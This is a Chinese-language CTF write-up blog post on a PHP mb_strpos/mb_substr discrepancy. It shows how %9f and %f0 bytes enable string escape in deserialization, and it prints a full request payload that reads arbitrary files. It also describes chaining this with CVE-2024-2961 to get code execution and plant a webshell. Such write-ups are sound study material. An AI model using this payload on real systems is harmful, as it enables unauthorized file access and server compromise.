首页 > 编程语言 >PHP由mb_strpos与mb_substr执行差异导致的小trick

PHP由mb_strpos与mb_substr执行差异导致的小trick

时间:2024-07-18 22:41:16浏览次数:11  
标签:9f% mb 博客园 9f trick substr 字符串 gxngxngxn

前言

这个其实不算啥大洞,主要是我遇到两次了,第一次是在黄河流域做那个题的时候,还有一次是ctfshow西瓜杯的题,做到了gxngxngxn师傅出的套皮。

就以这道ezphp入手吧。

分析&EXP

一看传参传个gxngxngxn就能读/etc/passwd,事实也的确如此。

但是我们显然是要做到打这个反序列化做到任意文件读取,也没给你套链子,就直接传参就行,可以看到它下面还套了一个substrstr()。

这里mb_strpos与mb_substr就值得说道说道了。

我们自己搭一个php看看,借用黄河流域那道php的源码:

这里就不卖关子了,%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉三位:

由此我们可以用这两个玩意进行任意字符串构造:

%9f:只需要%9f数量等于要构造的字符串长度:

%f0:使用随便三个长度字符紧跟%f0之后,同时结合%9f的后移,达到字符串逃逸:

回到题目,这里由于忽略了[],所以在逃逸的时候需要添加一个%9f以此来抵消 [ 的影响

同时我们逃逸出的字符不能大于原来的字符数量,所以我们可以传参start来增加原字符的数量,以此逃逸出足够的字符。

所以可以构造出

start=aaaaaaaaaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}

实现任意文件读取,这里的%9f数量即为后面字符串的长度+1。

那么接下来就是LFI to RCE了,自然而然想到我前面研究的那个CVE-2024-2961,改一下发包逻辑和回显检测逻辑就OK:

这里试过反弹shell,但是很鸡肋,反弹成功了用不了命令。所以直接写一句话木马:

这里不RCE是不能读到flag的:

参考:

黄河流域挑战赛WEB部分-gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)

Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities | Sonar (sonarsource.com)

XGCTF(西瓜杯官方wp) (qq.com)

 

后言

最后提一嘴,估计这是我在博客园最后的blog了,博客园都要似了,害怕我写了那么多东西都死在服务器里,也很感谢博客园里大家的陪伴,博客迁移搞好了会贴出来的。同时博客园这个平台也很干净很纯粹,很喜欢,所以作为我第一次写blog的地方。

接下来呢,就还是将一些后续想做想学习的东西和一些有价值的搬到新blog里。

然后过两天就是国赛Final了,祝我成功吧,江湖再会!

标签:9f%,mb,博客园,9f,trick,substr,字符串,gxngxngxn
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18310518

相关文章

  • Java版本jdk8的特性Lambda表达式详解
    面向对象编程思想和函数式编程思想的区别面向对象编程:重点是对象,强调的是对象的状态和行为。面向对象编程使用类和实例来封装数据和行为,这可以让代码更加模块化和易于维护。函数式编程:重点是函数,强调的是函数的输入和输出,而不是对象的状态。函数式编程通常使用纯函数,即没......
  • 10 分钟快速搞懂 Lambda 表达式
    Lambda简介Lambda表达式是Java8引入的一个重要特性,相当于一个语法糖。语法糖(Syntacticsugar)是指在编程语言中引入的一种语法,它可以使代码更易读、更简洁,但并没有引入新的功能或改变语言的底层机制。语法糖并不会改变语言的语义,只是提供了一种更方便的编写方式。Lambda表达式......
  • Linux使用Ambari启动服务启动失败
    试了好几次,基本上所有服务都是启动失败,试过重启,网上也没有相关问题。这些全是红色,启动失败 打开日志后发现了很多问题:2024-07-1809:50:26,791-Retryingafter10seconds.Reason:Executionof'/usr/hdp/current/hadoop-hdfs-namenode/bin/hdfsdfsadmin-fshdfs://m......
  • go embed http server
    packagemainimport( "embed" "io/fs" "net/http")//go:embedall:distvarassetsembed.FSfuncAssets()(fs.FS,error){ returnfs.Sub(assets,"dist")}funcmain(){ assets,_:=Assets() //Usethefil......
  • 从Mybatis-Plus开始认识SerializedLambda
    从Mybatis-Plus开始认识SerializedLambda背景对于使用过Mybatis-Plus的Java开发者来说,肯定对以下代码不陌生:@TableName("t_user")@DatapublicclassUser{ privateStringid; privateStringname; privateStringpassword; privateStringgender; privateintage;......
  • 在 PowerShell 中Get-WmiObject Win32_PhysicalMemory,SMBIOSMemoryType 是一种用于描
    在PowerShell中Get-WmiObjectWin32_PhysicalMemory,SMBIOSMemoryType是一种用于描述系统中物理内存类型的属性。数字26表示特定的内存类型,具体为DDR4内存。每种内存类型在SMBIOS(SystemManagementBIOS)规范中都有一个对应的数字码,用来标识不同类型的内存。以下是一些常见......
  • Python,匿名函数lambda
    Python使用 lambda 来创建匿名函数。lambda函数是一种小型、匿名的、内联函数,它可以具有任意数量的参数,但只能有一个表达式。是一个不需要使用def关键字定义的完整函数。lambda特点,匿名没有函数名称,也就是一窜代码。lambda格式,lambda参数:表达式1.lambda格式使用#......
  • Android经典面试题之Kotlin中Lambda表达式和匿名函数的区别
    本文首发于公众号“AntDream”,欢迎微信搜索“AntDream”或扫描文章底部二维码关注,和我一起每天进步一点点在Kotlin中,匿名函数和lambda表达式都是用于表示函数类型的匿名函数(即没有名字的函数)。虽然它们在某些情况下可以互换使用,但是它们在语法和使用场景上存在一些细微的......
  • Linux磁盘-MBR&GPT
    作者介绍:简历上没有一个精通的运维工程师。希望大家多多关注作者,下面的思维导图也是预计更新的内容和当前进度(不定时更新)。Linux磁盘涉及到的命令不是很多,但是在实际运维中的作用却很大,因为Linux系统及业务都会承载到硬盘上。如果磁盘使用和配置不合理,可能会引起系统无法启......
  • bw_mem 和 lmbench
    一、bwmem名称bw_mem-时间内存带宽概要bw_mem_cp[-P<并行度>][-W<热身次数>][-N<重复次数>]大小rd|wr|rdwr|cp|fwr|frd|bzero|bcopy[对齐]描述bw_mem分配两倍指定内存量,将其归零,然后将前半部分复制到后半部分。将每秒移动的兆字节数作为结果进行报告。大......